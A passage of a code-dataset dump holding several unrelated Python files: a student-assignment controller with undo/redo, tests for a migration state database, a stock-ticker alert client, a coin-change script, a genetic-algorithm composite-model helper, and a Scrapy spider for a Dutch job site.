d:Deadline object-the deadline untill the assignment must be done\r\n grade:int between 1->10\r\n\r\n Returns:\r\n\r\n '''\r\n\r\n self.__eraseOpAbove() #erases the operations after the one which will be newly associated\r\n self.__undoCtrl.eraseCtrlAbove() #erases the controllers afther the one which will be newly associated\r\n\r\n std=self.__repoS.fetch_stud(studId)\r\n asg=self.__repoA.fetch_assign(assignId)\r\n if not isinstance(std,Student) or not isinstance(asg,Assignment) :\r\n raise ObjectException(\"Student's ID or Assignment's ID does not exist!!!\")\r\n sa=StudAssign(std,asg,d,grade)\r\n self.__repoSA.add(sa)\r\n\r\n self.__operations.append(AddOperation(sa))\r\n self.__index+=1\r\n self.__undoCtrl.recordUpdatedController(self)\r\n \r\n def fetch_by_stud(self, stud):\r\n '''\r\n gets the object type studassign from the repository as field stud equals stud\r\n '''\r\n return self.__repoSA.fetch_by_stud(stud)\r\n \r\n def fetch_by_assign(self, assign):\r\n '''\r\n gets the object type studassign from the repository as field assign equals assign\r\n '''\r\n return self.__repoSA.fetch_by_assign(assign)\r\n \r\n def remove_by_assign(self,assign):\r\n '''\r\n removes by assign from repository by a controller\r\n '''\r\n\r\n self.__repoSA.remove_by_assign(assign)\r\n \r\n def remove_by_stud(self,stud):\r\n '''\r\n removes by stud from repository with a controller\r\n '''\r\n\r\n\r\n self.__repoSA.remove_by_stud(stud)\r\n\r\n def show_stud_assign(self):\r\n '''\r\n shows the list of associations\r\n Returns:nothing\r\n\r\n '''\r\n self.__repoSA.show_stud_assign()\r\n\r\n def fetch_association(self,studId,assignId):\r\n '''\r\n\r\n Args:\r\n studId:int student's id\r\n assignId:int assigment's id\r\n\r\n Returns:association\r\n Exception: returns Objectexception with message if association couldn't be fetched\r\n '''\r\n stud=self.__repoS.fetch_stud(studId)\r\n assign=self.__repoA.fetch_assign(assignId)\r\n if not isinstance(stud,Student) or not isinstance(assign,Assignment) :\r\n raise ObjectException(\"Student's Id or Assignment's id does not exist!!!\")\r\n return self.__repoSA.fetch_association(stud,assign)\r\n\r\n def update(self,newAssoc):\r\n '''\r\n Updates the association between a student and an assignment\r\n Args:\r\n assoc:object type StudAssign\r\n d: object type Deadline\r\n g: int-the grade\r\n\r\n Returns:\r\n\r\n '''\r\n\r\n if not isinstance(newAssoc.get_stud(),Student) or not isinstance(newAssoc.get_assign(),Assignment) :\r\n raise ObjectException(\"Student or assignment not found, please introduce correct id's!!\")\r\n\r\n\r\n self.__eraseOpAbove() #erases the operations after the one which will be newly updated\r\n self.__undoCtrl.eraseCtrlAbove() #erases the controllers afther the one which will be newly updated\r\n\r\n assoc=self.fetch_association(newAssoc.get_stud().get_id(),newAssoc.get_assign().get_id())\r\n oldAssoc=deepcopy(assoc)\r\n\r\n self.__repoSA.update(assoc,newAssoc)\r\n\r\n newAssoc=deepcopy(assoc)\r\n\r\n self.__operations.append(UpdateOperation(oldAssoc,newAssoc))\r\n self.__index+=1\r\n self.__undoCtrl.recordUpdatedController(self)\r\n\r\n\r\n def quick_remove(self,studId,assignId):\r\n '''\r\n removes the association with studid and assignid by poping it from the list of associations\r\n Args:\r\n studId: int representing student's id\r\n assignId: int representing assignment's id\r\n\r\n Returns:\r\n\r\n '''\r\n assoc=self.fetch_association(studId,assignId)\r\n i=self.__repoSA.search_by_index(assoc)\r\n lst=self.__repoSA.get_all()\r\n lst.pop(i)\r\n def remove_association(self):\r\n '''\r\n read's the student's id and assignment's id of the associations to be removed\r\n then removes is\r\n and introduces in the undo controller the operation we've done\r\n Returns:\r\n\r\n '''\r\n\r\n self.__eraseOpAbove() #erases the operations after the one which will be newly removed\r\n self.__undoCtrl.eraseCtrlAbove() #erases the controllers afther the one which will be newly removed\r\n\r\n studId=Validator.read_positive_integer(\"Introduce association's student id to be removed:\")\r\n assignId=Validator.read_positive_integer(\"Introduce association's assignment id to be updated:\")\r\n assoc=deepcopy(self.fetch_association(studId,assignId))\r\n\r\n std=self.__repoS.fetch_stud(studId)\r\n asg=self.__repoA.fetch_assign(assignId)\r\n self.__repoSA.RepoRemove(std,asg)\r\n\r\n if isinstance(assoc,StudAssign) :\r\n self.__operations.append(RemoveOperation(assoc))\r\n self.__index+=1\r\n self.__undoCtrl.recordUpdatedController(self)\r\n\r\n def undo(self):\r\n \"\"\"\r\n Undoes the last studassign operation that changed the set of associations.\r\n Returns True if operation was undone, False otherwise.\r\n \"\"\"\r\n if self.__index == 0 :\r\n return False\r\n\r\n self.__index-=1\r\n operation=deepcopy(self.__operations[self.__index])\r\n\r\n if isinstance(operation,AddOperation) :\r\n self.quick_remove(operation.get_object().get_stud().get_id(),operation.get_object().get_assign().get_id())\r\n elif isinstance(operation,RemoveOperation) :\r\n self.__repoSA.add(operation.get_object())\r\n elif isinstance(operation,UpdateOperation) :\r\n self.__repoSA.update(operation.get_updatedObject(),operation.get_oldObject())\r\n\r\n def redo(self):\r\n \"\"\"\r\n Redoes the last undo operation\r\n Returns:True if operation was redone,False otherwise.\r\n \"\"\"\r\n if self.__index ==len(self.__operations) :\r\n return False\r\n\r\n operation=deepcopy(self.__operations[self.__index])\r\n\r\n if isinstance(operation,AddOperation) :\r\n self.__repoSA.add(operation.get_object())\r\n elif isinstance(operation,RemoveOperation) :\r\n self.quick_remove(operation.get_object().get_stud().get_id(),operation.get_object().get_assign().get_id())\r\n elif isinstance(operation,UpdateOperation) :\r\n self.__repoSA.update(operation.get_oldObject(),operation.get_updatedObject())\r\n\r\n self.__index+=1\r\n\r\n def __eraseOpAbove(self):\r\n \"\"\"\r\n If a new operation is made we cannot redo anything , so we delete the operations ,we saved, after the index\r\n Returns:\r\n \"\"\"\r\n\r\n while self.__index < len(self.__operations) :\r\n self.__operations.pop()\r\n\r\n\r\n def avg_stud_grade(self,studid):\r\n '''\r\n Computes the average grade of a student by searching for associations(where we can find grades)\r\n Args:\r\n studid:int\r\n\r\n Returns:avgGrade of a student\r\n '''\r\n lst=self.__repoSA.get_all()\r\n grades=0\r\n gradeSum=0\r\n if len (lst) == 0 :\r\n return 100000\r\n for assoc in lst :\r\n if assoc.get_stud().get_id() == studid :\r\n grades+=1\r\n gradeSum+=assoc.get_grade()\r\n if grades == 0 :\r\n return -1\r\n return (gradeSum/grades)\r\n\r\n def AvgGradeBelow5(self):\r\n '''\r\n Takes the students with the average grade below 5\r\n Returns:a list of students with average grade below 5\r\n '''\r\n lst=[]\r\n lst_studs=self.__repoS.get_all()\r\n for stud in lst_studs :\r\n avgG=self.avg_stud_grade(stud.get_id())\r\n if avgG < 5 and avgG >-1:\r\n lst.append(gradeDTO(stud,avgG))\r\n return lst\r\n\r\n def __gather_by_assign(self, assign):\r\n '''\r\n gets the associations related to an assignment\r\n Args:\r\n assign: object type Assignment\r\n\r\n Returns:list of associations related to an assignment\r\n\r\n '''\r\n lst=[]\r\n lst_assoc=self.__repoSA.get_all()\r\n for assoc in lst_assoc :\r\n if assign == assoc.get_assign() :\r\n lst.append(assoc)\r\n return lst\r\n\r\n\r\n\r\n\r\n def SortAlphabetical(self,assign):\r\n '''\r\n takes the associations related to an assignment and then sorts them by student's name\r\n Args:\r\n assign:object type Assignment\r\n\r\n Returns:list sorted of associations\r\n\r\n '''\r\n lst=self.__gather_by_assign(assign)\r\n lst.sort(key=lambda x:x.get_stud().get_name())\r\n return lst\r\n\r\n def SortByGrade(self,assign):\r\n '''\r\n creates a list with associations related to an assignment and sorts it\r\n Args:\r\n assign:object type Assignment\r\n\r\n Returns:sorted list of associations by grade\r\n\r\n '''\r\n lst=self.__gather_by_assign(assign)\r\n newLst=heapsort(lst,is_greater_grade)\r\n lst.sort(key=lambda x:x.get_grade())\r\n assert lst == newLst\r\n\r\n return lst\r\n\r\ndef is_greater_grade(a,b):\r\n\r\n if a.get_grade() < b.get_grade() :\r\n return True\r\n return False\r\n","sub_path":"Exams and lab3/Lab3/Ctrl/ctrlstudassign.py","file_name":"ctrlstudassign.py","file_ext":"py","file_size_in_byte":10419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"325693315","text":"import pickle\nimport os\nimport re\n\nfrom nose.tools import with_setup\nfrom sqlalchemy.exc import OperationalError\nfrom sqlalchemy.pool import SingletonThreadPool\nfrom testil import Config, assert_raises, eq, tempdir\n\nfrom corehq.apps.tzmigration.timezonemigration import FormJsonDiff as JsonDiff\n\nfrom ..statedb import (\n Counts,\n ResumeError,\n StateDB,\n _get_state_db_filepath,\n delete_state_db,\n init_state_db,\n open_state_db,\n)\nfrom .. import statedb as mod\n\n\ndef setup_module():\n global _tmp, state_dir\n _tmp = tempdir()\n state_dir = _tmp.__enter__()\n\n\ndef teardown_module():\n _tmp.__exit__(None, None, None)\n\n\ndef init_db(name=\"test\", memory=True):\n if memory:\n return StateDB.init(name, \":memory:\")\n return init_state_db(name, state_dir)\n\n\ndef delete_db(name=\"test\"):\n delete_state_db(name, state_dir)\n\n\ndef test_file_connection_pool():\n # SingletonThreadPool docs state that \"it is generally used only\n # for test scenarios using a SQLite ``:memory:`` database and is\n # not recommended for production use.\"\n with init_db(memory=False) as db:\n assert not isinstance(db.engine.pool, SingletonThreadPool), db.engine.pool\n\n\n@with_setup(teardown=delete_db)\ndef test_db_unique_id():\n with init_db(memory=False) as db:\n uid = db.unique_id\n assert re.search(r\"\\d{8}-\\d{6}.\\d{6}\", uid), uid\n\n with init_db(memory=False) as db:\n eq(db.unique_id, uid)\n\n delete_db()\n with init_db(memory=False) as db:\n assert db.unique_id != uid, uid\n\n\n@with_setup(teardown=delete_db)\ndef test_open_state_db():\n assert not os.path.exists(_get_state_db_filepath(\"test\", state_dir))\n with assert_raises(mod.Error):\n open_state_db(\"test\", state_dir)\n with init_db(memory=False) as db:\n uid = db.unique_id\n eq(db.get(\"key\"), None)\n db.set(\"key\", 2)\n with open_state_db(\"test\", state_dir) as db:\n eq(db.unique_id, uid)\n eq(db.get_doc_counts(), {})\n eq(db.get(\"key\"), 2)\n with assert_raises(OperationalError):\n db.set(\"key\", 3)\n\n\ndef test_update_cases():\n with init_db() as db:\n result = db.update_cases([\n Config(id=\"a\", total_forms=2, processed_forms=1),\n Config(id=\"b\", total_forms=2, processed_forms=1),\n Config(id=\"c\", total_forms=2, processed_forms=1),\n ])\n eq(sorted(result), [\n (\"a\", 2, 1),\n (\"b\", 2, 1),\n (\"c\", 2, 1),\n ])\n result = db.update_cases([\n Config(id=\"b\", total_forms=1, processed_forms=3),\n Config(id=\"c\", total_forms=3, processed_forms=1),\n Config(id=\"d\", total_forms=2, processed_forms=1),\n ])\n eq(sorted(result), [\n (\"b\", 2, 4),\n (\"c\", 3, 2),\n (\"d\", 2, 1),\n ])\n\n\ndef test_add_processed_forms():\n with init_db() as db:\n db.update_cases([\n Config(id=\"a\", total_forms=2, processed_forms=1),\n Config(id=\"b\", total_forms=2, processed_forms=1),\n Config(id=\"c\", total_forms=4, processed_forms=1),\n ])\n result = db.add_processed_forms({\"b\": 1, \"c\": 2, \"d\": 2})\n eq(sorted(result), [\n (\"b\", 2, 2),\n (\"c\", 4, 3),\n (\"d\", None, None),\n ])\n\n\ndef test_iter_cases_with_unprocessed_forms():\n with init_db() as db:\n db.update_cases([\n Config(id=\"a\", total_forms=2, processed_forms=1),\n Config(id=\"b\", total_forms=2, processed_forms=1),\n Config(id=\"c\", total_forms=4, processed_forms=1),\n ])\n eq(list(db.iter_cases_with_unprocessed_forms()),\n [(\"a\", 2), (\"b\", 2), (\"c\", 4)])\n\n\ndef test_get_forms_count():\n with init_db() as db:\n db.update_cases([\n Config(id=\"a\", total_forms=2, processed_forms=1),\n Config(id=\"b\", total_forms=2, processed_forms=3),\n ])\n eq(db.get_forms_count(\"a\"), 2)\n eq(db.get_forms_count(\"b\"), 2)\n eq(db.get_forms_count(\"c\"), 0)\n\n\ndef test_case_diff_lifecycle():\n with init_db() as db:\n case_ids = [\"a\", \"b\", \"c\"]\n db.add_cases_to_diff(case_ids)\n db.add_cases_to_diff([\"d\"])\n db.add_cases_to_diff([\"d\"]) # add again should not error\n db.add_cases_to_diff([]) # no ids should not error\n db.add_diffed_cases(case_ids)\n eq(list(db.iter_undiffed_case_ids()), [\"d\"])\n eq(db.count_undiffed_cases(), 1)\n db.add_diffed_cases(case_ids) # add again should not error\n db.add_diffed_cases([]) # no ids should not error\n\n\n@with_setup(teardown=delete_db)\ndef test_problem_forms():\n with init_db(memory=False) as db:\n db.add_problem_form(\"abc\")\n\n with init_db(memory=False) as db:\n db.add_problem_form(\"def\")\n eq(set(db.iter_problem_forms()), {\"abc\", \"def\"})\n\n\n@with_setup(teardown=delete_db)\ndef test_no_action_case_forms():\n with init_db(memory=False) as db:\n db.add_no_action_case_form(\"abc\")\n\n with init_db(memory=False) as db:\n eq(db.get_no_action_case_forms(), {\"abc\"})\n\n # verify that memoized result is cleared on add\n db.add_no_action_case_form(\"def\")\n eq(db.get_no_action_case_forms(), {\"abc\", \"def\"})\n\n\ndef test_duplicate_no_action_case_form():\n with init_db() as db:\n db.add_no_action_case_form(\"abc\")\n db.add_no_action_case_form(\"abc\") # should not raise\n\n\n@with_setup(teardown=delete_db)\ndef test_resume_state():\n with init_db(memory=False) as db:\n with db.pop_resume_state(\"test\", []) as value:\n eq(value, [])\n db.set_resume_state(\"test\", [\"abc\", \"def\"])\n\n with init_db(memory=False) as db, assert_raises(ValueError):\n with db.pop_resume_state(\"test\", []) as value:\n # error in context should not cause state to be lost\n raise ValueError(value)\n\n with init_db(memory=False) as db:\n with db.pop_resume_state(\"test\", []) as value:\n eq(value, [\"abc\", \"def\"])\n\n # simulate resume without save\n with init_db(memory=False) as db:\n with assert_raises(ResumeError):\n with db.pop_resume_state(\"test\", []):\n pass\n\n\ndef test_case_ids_with_diffs():\n with init_db() as db:\n db.replace_case_diffs([\n (\"CommCareCase\", \"case-1\", [make_diff(0)]),\n (\"stock state\", \"case-1/x/y\", [make_diff(1)]),\n (\"CommCareCase\", \"case-2\", [make_diff(2)]),\n (\"stock state\", \"case-2/x/y\", [make_diff(3)]),\n (\"stock state\", \"case-2/x/z\", [make_diff(5)]),\n ])\n eq(db.count_case_ids_with_diffs(), 2)\n eq(set(db.iter_case_ids_with_diffs()), {\"case-1\", \"case-2\"})\n\n\ndef test_replace_case_diffs():\n with init_db() as db:\n case_id = \"865413246874321\"\n # add old diffs\n db.replace_case_diffs([\n (\"CommCareCase\", case_id, [make_diff(0)]),\n (\"stock state\", case_id + \"/x/y\", [make_diff(1)]),\n (\"CommCareCase\", \"unaffected\", [make_diff(2)]),\n (\"stock state\", \"unaffected/x/y\", [make_diff(3)]),\n (\"CommCareCase\", \"stock-only\", [make_diff(4)]),\n (\"stock state\", \"stock-only/x/y\", [make_diff(5)]),\n (\"CommCareCase\", \"gone\", [make_diff(4)]),\n (\"stock state\", \"gone/x/y\", [make_diff(5)]),\n ])\n # add new diffs\n db.replace_case_diffs([\n (\"CommCareCase\", case_id, [make_diff(6)]),\n (\"stock state\", case_id + \"/y/z\", [make_diff(7)]),\n (\"stock state\", \"stock-only/y/z\", [make_diff(8)]),\n (\"CommCareCase\", \"gone\", []),\n (\"stock state\", \"gone/x/y\", []),\n ])\n eq(\n {(d.kind, d.doc_id, hashable(d.json_diff)) for d in db.get_diffs()},\n {(kind, doc_id, hashable(make_diff(x))) for kind, doc_id, x in [\n (\"CommCareCase\", \"unaffected\", 2),\n (\"stock state\", \"unaffected/x/y\", 3),\n (\"CommCareCase\", case_id, 6),\n (\"stock state\", case_id + \"/y/z\", 7),\n (\"stock state\", \"stock-only/y/z\", 8),\n ]},\n )\n\n\ndef test_save_form_diffs():\n def doc(name):\n return {\"doc_type\": \"XFormInstance\", \"_id\": \"test\", \"name\": name}\n\n def check_diffs(expect_count):\n diffs = db.get_diffs()\n eq(len(diffs), expect_count, [d.json_diff for d in diffs])\n\n with init_db() as db:\n db.save_form_diffs(doc(\"a\"), doc(\"b\"))\n db.save_form_diffs(doc(\"a\"), doc(\"c\"))\n check_diffs(1)\n db.save_form_diffs(doc(\"a\"), doc(\"d\"))\n check_diffs(1)\n db.save_form_diffs(doc(\"a\"), doc(\"a\"))\n check_diffs(0)\n\n\ndef test_counters():\n with init_db() as db:\n db.add_missing_docs(\"abc\", [\"doc1\"])\n db.add_missing_docs(\"abc\", [\"doc2\", \"doc4\"])\n db.replace_case_diffs([(\"abc\", \"doc5\", [make_diff(5)])])\n chg = mod.Change(kind=None, doc_id=None, reason=\"because\", **make_diff(6)._asdict())\n db.replace_case_changes([(\"def\", \"doc5\", [chg])])\n db.set_counter(\"abc\", 4)\n db.set_counter(\"def\", 2)\n eq(db.get_doc_counts(), {\n \"abc\": Counts(total=4, diffs=1, missing=3),\n \"def\": Counts(total=2, changes=1),\n })\n\n\n@with_setup(teardown=delete_db)\ndef test_pickle():\n with init_db(memory=False) as db:\n other = pickle.loads(pickle.dumps(db))\n assert isinstance(other, type(db)), (other, db)\n assert other is not db\n eq(db.unique_id, other.unique_id)\n\n\ndef test_clone_casediff_data_from():\n diffs = [make_diff(i) for i in range(3)]\n try:\n with init_db(\"main\", memory=False) as main:\n uid = main.unique_id\n with init_db(\"cddb\", memory=False) as cddb:\n main.add_problem_form(\"problem\")\n main.save_form_diffs({\"doc_type\": \"XFormInstance\", \"_id\": \"form\"}, {})\n cddb.add_processed_forms({\"case\": 1})\n cddb.update_cases([\n Config(id=\"case\", total_forms=1, processed_forms=1),\n Config(id=\"a\", total_forms=2, processed_forms=1),\n Config(id=\"b\", total_forms=2, processed_forms=1),\n Config(id=\"c\", total_forms=2, processed_forms=1),\n ])\n cddb.add_missing_docs(\"CommCareCase\", [\"missing\"])\n cddb.replace_case_diffs([\n (\"CommCareCase\", \"a\", [diffs[0]]),\n (\"CommCareCase-Deleted\", \"b\", [diffs[1]]),\n (\"stock state\", \"c/ledger\", [diffs[2]]),\n ])\n cddb.set_counter(\"CommCareCase\", 4) # case, a, c, missing\n cddb.set_counter(\"CommCareCase-Deleted\", 1) # b\n main.add_no_action_case_form(\"no-action\")\n main.set_resume_state(\"FormState\", [\"form\"])\n cddb.set_resume_state(\"CaseState\", [\"case\"])\n cddb.close()\n main.clone_casediff_data_from(cddb.db_filepath)\n main.close()\n\n with StateDB.open(\"test\", main.db_filepath) as db:\n eq(list(db.iter_cases_with_unprocessed_forms()), [(\"a\", 2), (\"b\", 2), (\"c\", 2)])\n eq(list(db.iter_problem_forms()), [\"problem\"])\n eq(db.get_no_action_case_forms(), {\"no-action\"})\n with db.pop_resume_state(\"CaseState\", \"nope\") as value:\n eq(value, [\"case\"])\n with db.pop_resume_state(\"FormState\", \"fail\") as value:\n eq(value, [\"form\"])\n eq(db.unique_id, uid)\n finally:\n delete_db(\"main\")\n delete_db(\"cddb\")\n\n\ndef test_clone_casediff_data_from_tables():\n from corehq.apps.tzmigration.planning import (\n PlanningForm,\n PlanningCase,\n PlanningCaseAction,\n PlanningStockReportHelper,\n )\n # Any time a model is added to this list it must be analyzed for usage\n # by the case diff process. StateDB.clone_casediff_data_from() may need\n # to be updated.\n eq(set(mod.Base.metadata.tables), {m.__tablename__ for m in [\n mod.CaseForms,\n mod.CaseToDiff,\n mod.Diff,\n mod.DiffedCase,\n mod.KeyValue,\n mod.DocCount,\n mod.DocDiffs,\n mod.DocChanges,\n mod.MissingDoc,\n mod.NoActionCaseForm,\n mod.PatchedCase,\n mod.ProblemForm,\n # models not used by couch-to-sql migration\n PlanningForm,\n PlanningCase,\n PlanningCaseAction,\n PlanningStockReportHelper,\n ]})\n\n\ndef test_get_set():\n with init_db() as db:\n eq(db.get(\"key\"), None)\n eq(db.get(\"key\", \"default\"), \"default\")\n db.set(\"key\", True)\n eq(db.get(\"key\"), True)\n\n\n@with_setup(teardown=delete_db)\ndef test_migrate():\n with init_db(memory=False) as db:\n old_add_diffs = super(StateDB, db).add_diffs\n old_add_diffs(\"Test\", \"test\", [make_diff(0)])\n old_add_diffs(\"Test\", \"test\", [make_diff(1)])\n old_add_diffs(\"CommCareCase\", \"abc\", [make_diff(2)])\n old_add_diffs(\"stock state\", \"abc/x/y\", [make_diff(3)])\n old_add_diffs(\"stock state\", \"def/x/y\", [make_diff(4)])\n eq(list(db.iter_diffs()), [])\n\n with init_db(memory=False) as db:\n eq(\n {(d.kind, d.doc_id, hashable(d.json_diff)) for d in db.iter_diffs()},\n {\n (\"Test\", \"test\", hashable(make_diff(0))),\n (\"Test\", \"test\", hashable(make_diff(1))),\n (\"CommCareCase\", \"abc\", hashable(make_diff(2))),\n (\"stock state\", \"abc/x/y\", hashable(make_diff(3))),\n (\"stock state\", \"def/x/y\", hashable(make_diff(4))),\n }\n )\n eq(len(super(StateDB, db).get_diffs()), 5)\n\n\ndef make_diff(id):\n return JsonDiff(\"type\", [\"data\", id], \"old%s\" % id, \"new%s\" % id)\n\n\ndef hashable(diff):\n return diff._replace(path=tuple(diff.path))\n","sub_path":"corehq/apps/couch_sql_migration/tests/test_statedb.py","file_name":"test_statedb.py","file_ext":"py","file_size_in_byte":13864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"533381615","text":"#!/usr/bin/env python3\n\nimport websocket\nimport argparse\nimport zmq\nimport json\nimport re\n\nfrom Base import Base\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--group_id\", help = \"Group ID \",\n default = '1')\nargs = parser.parse_args()\ngroup_id = args.group_id\n\nbase = Base()\nfeed = base.feed\nlog = base.log\ndb = base.db\n\n\n# Prepare cursor to insert into alerts and\n# stray tables\n\ncur = db.cursor()\n\nticker_data = {}\naverage = {}\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.SUB)\nsocket.setsockopt_string(zmq.SUBSCRIBE, group_id)\nsocket.connect(\"tcp://localhost:5555\")\n\ndef make_ticker_dict( ask = 0.0, bid = 0.0):\n return {'ask' : float(ask), 'bid' : float(bid)}\n\ndef get_average(avg = None, ticker = []):\n s = [float(i['bid']) for i in ticker]\n while len(ticker) > feed.average_elements:\n ticker.pop(0)\n avg = sum(s)/len(s)\n return avg\n\nwhile(True):\n message = socket.recv().decode(\"utf-8\")\n m = re.match('(\\d+) (\\S+) (.*)$',message)\n grp, sym, ticker_dict = m.group(1), m.group(2), json.loads(m.group(3))\n if sym not in ticker_data.keys():\n ticker_data[sym] = []\n ticker_data[sym].append(make_ticker_dict(ask = ticker_dict['ask'], bid = ticker_dict['bid']))\n average[sym] = get_average(ticker = ticker_data[sym])\n\n bid = float(ticker_dict['bid'])\n\n percentage_deviation = abs(bid - average[sym])/bid * 100\n\n if(percentage_deviation > feed.allowed_deviation):\n print(\"{0} deviated more than {1} percentage. Could be a stray tick\".format(sym, feed.allowed_deviation))\n log.info(\"Making new entry for \" + sym + \" in strays as it deviated \" + str(percentage_deviation))\n cur.execute(\"INSERT INTO strays(ticker_symbol, average_value, percentage_deviation) values(%s, %s, %s)\", [sym, average[sym], percentage_deviation])\n db.commit()\n\n if len(ticker_data[sym]) >= feed.average_elements :\n threshold_deviation = abs(bid - ticker_data[sym][0]['bid'])/bid * 100\n if threshold_deviation > feed.threshold_percent :\n log.info(\"Making new entry for \" + sym + \" in alerts as it deviated \" + str(threshold_deviation))\n print(\"{0} has changed more than {1}. Check if it needs to be bought or sold\".format(sym,feed.threshold_percent))\n cur.execute(\"INSERT INTO alerts(ticker_symbol, average_value, percentage_deviation) values(%s, %s, %s)\", [sym, average[sym], threshold_deviation])\n db.commit()\n","sub_path":"market_simulator/market/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"266073892","text":"H = Q = D = N = P = 0\nanswer = {}\ncurrency = 10000\nprint('start')\n\ndef curUnit(name, nominale, currency):\n while currency >= nominale:\n #print('cur до = ',currency)\n currency = currency - nominale\n #print('cur после = ',currency)\n #print('name =',name)\n name += 1\n \n return name, currency\n\nif currency > 10000:\n answer['error'] = \"You are rich, my friend! We don't have so much coins for exchange\"\nelif currency > 0:\n H, currency = curUnit(H, 50, currency)\n if H > 0:\n answer['H'] = H\n \n Q, currency = curUnit(Q, 25, currency)\n if Q > 0:\n answer['Q'] = Q\n \n D, currency = curUnit(D, 10, currency)\n if D > 0:\n answer['D'] = D\n \n N, currency = curUnit(N, 5, currency)\n if N > 0:\n answer['N'] = N\n \n P, currency = curUnit(P, 1, currency)\n if P > 0:\n answer['P'] = P\n \nprint(answer)\n\n\n\n","sub_path":"src/money-exchange.py","file_name":"money-exchange.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"370052294","text":"# Created by: Dr. David John & Kenneth Meza.\n# Created at: March, 2016.\n# Updated at: March, 2016.\n\n# LIBRARIES\nfrom business_logic.chromosome import Chromosome\nfrom business_logic.general_functions import *\n\n\n# =========================\n# COMPOSITE MODEL FUNCTIONS\n# =========================\n\n# FUNCTION: composite_model_creator\ndef composite_model_creator(population, cant_genes):\n \"\"\"\n Creates the composite model by multiplying every chromosome to its fitness and summing them all in a new matrix.\n\n Args:\n population : LIST[Chromosome(), Chromosome(), ...]\n A list filled with 'Chromosome' objects\n cant_genes : INT\n The amount of genes for each chromosome\n\n Returns:\n MATRIX[[FLOAT, FLOAT, ...], [FLOAT, FLOAT, ...], ...]\n The composite model\n \"\"\"\n new_population = fitness_x_genes(population)\n composite_model = [[0 for i in range(cant_genes)] for i in range(cant_genes)]\n for i in range(0, len(new_population)):\n genes = population[i].get_genes()\n for j in range(0, len(genes)):\n for k in range(0, len(genes)):\n composite_model[j][k] += genes[j][k]\n return round_matrix(composite_model, 3)\n\n\n# FUNCTION: fitness_x_genes\ndef fitness_x_genes(population):\n \"\"\"\n This is an auxiliary function that multiplies the fitness by the genes on every chromosome of a given population.\n\n Args:\n population : LIST[Chromosome(), Chromosome(), ...]\n A list filled with 'Chromosome' objects\n\n Returns:\n LIST[Chromosome(), Chromosome(), ...]\n The new population with the genes multiplied by the fitness\n \"\"\"\n new_population = []\n for i in range(0, len(population)):\n genes = population[i].get_genes()\n fitness = population[i].get_fitness()\n for j in range(0, len(genes)):\n for k in range(0, len(genes)):\n genes[j][k] *= fitness\n new_population.append(Chromosome(genes))\n return new_population\n","sub_path":"business_logic/composite_model_functions.py","file_name":"composite_model_functions.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"494556422","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis spider is a Unique spider created on top of the ATSSpider\nscrapy crawl unique -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://www.unique.nl/vacatures\"\nsample seed urls:\n http://www.unique.nl/vacatures\n\"\"\"\nfrom urlparse import urljoin\nfrom json import loads as json_loads\n\nfrom scrapy.http import Request, FormRequest\nfrom scrapy.selector import Selector\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, HtmlFormatter, ConvertDateString\n\n\nclass Unique(ATSSpider):\n\n name = \"unique\"\n next_page = 1\n\n def start_requests(self):\n yield self.page_request(self.next_page)\n\n def parse(self, response):\n try:\n res_data = json_loads(response.body)\n except:\n return\n \n if self.next_page == 1:\n self.expected_job_count = res_data.get(\n 'NumberOfVacancies', self.DEFAULT_EXPECTED_JOB_COUNT\n )\n for job in res_data.get('VacanciesClean', []):\n if 'VacancyUrl' in job:\n job_url = urljoin(response.url, job.get('VacancyUrl'))\n meta = {\n 'jobcategory': job.get('Branch', ''),\n 'educationrequirements': job.get('EducationLevel', ''),\n 'date': job.get('CreationDate', ''),\n 'jobid': job.get('Id', ''),\n 'location': job.get('City', ''),\n 'title': job.get('Title', ''),\n 'baseSalary': job.get('Salary', ''),\n }\n yield Request(\n url=job_url, meta=meta, callback=self.parse_job_callback()\n )\n\n if res_data.get('NextPage', ''):\n self.next_page += 1\n yield self.page_request(self.next_page)\n\n def parse_job(self, response):\n if not hasattr(self, 'logo_url'):\n sel = Selector(response)\n logo_url = sel.xpath(\"//div[@class='brand ']//img/@src\").extract()\n if logo_url:\n self.logo_url = urljoin(response.url, logo_url[0])\n\n loader = BrightcorpItemLoader(response=response)\n loader.add_value('url', response.url)\n loader.add_value('logo_url', self.logo_url)\n loader.add_value('jobcategory', response.meta['jobcategory'])\n loader.add_value(\n 'educationrequirements', response.meta['educationrequirements']\n )\n loader.add_value('location', response.meta['location'])\n loader.add_value('title', response.meta['title'])\n loader.add_value(\n 'baseSalary', str(response.meta['baseSalary'])\n )\n loader.add_value(\n 'referencenumber', str(response.meta['jobid']),\n Prefix(\"%s-\" % self.name)\n )\n loader.add_value(\n 'date', response.meta['date'],\n ConvertDateString(\"%Y-%m-%dT%H:%M:%SZ\")\n )\n loader.add_xpath(\n 'description',\n \"//div[@id='vacancy-description' or @id='vacancy-benefits']\",\n HtmlFormatter()\n )\n loader.add_xpath(\n 'requirements',\n \"//div[@id='vacancy-requirements']\",\n HtmlFormatter()\n )\n yield loader.load_item()\n\n def page_request(self, page):\n dvor = '{\"Branch\":null,\"Brand\":\"Unique\",\"City\":null,\"Company\":null,\"Country\":\"NL\",\"EducationLevel\":null,\"Function\":\"\",\"FunctionGroup\":null,\"Language\":\"nl\",\"Location\":null,\"MaxSalary\":null,\"MinSalary\":null,\"OrderDirection\":null,\"OrderField\":null,\"Page\":%s,\"Province\":null,\"Radius\":0,\"ResultsPerPage\":null,\"Title\":null,\"Type\":null,\"WeeklyHours\":null,\"Zipcode\":null}' % page\n if not hasattr(self, 'page_url'):\n self.page_url = urljoin(\n self.start_urls[0],\n \"/ActionApi/vacancies/GetVacancies\"\n )\n 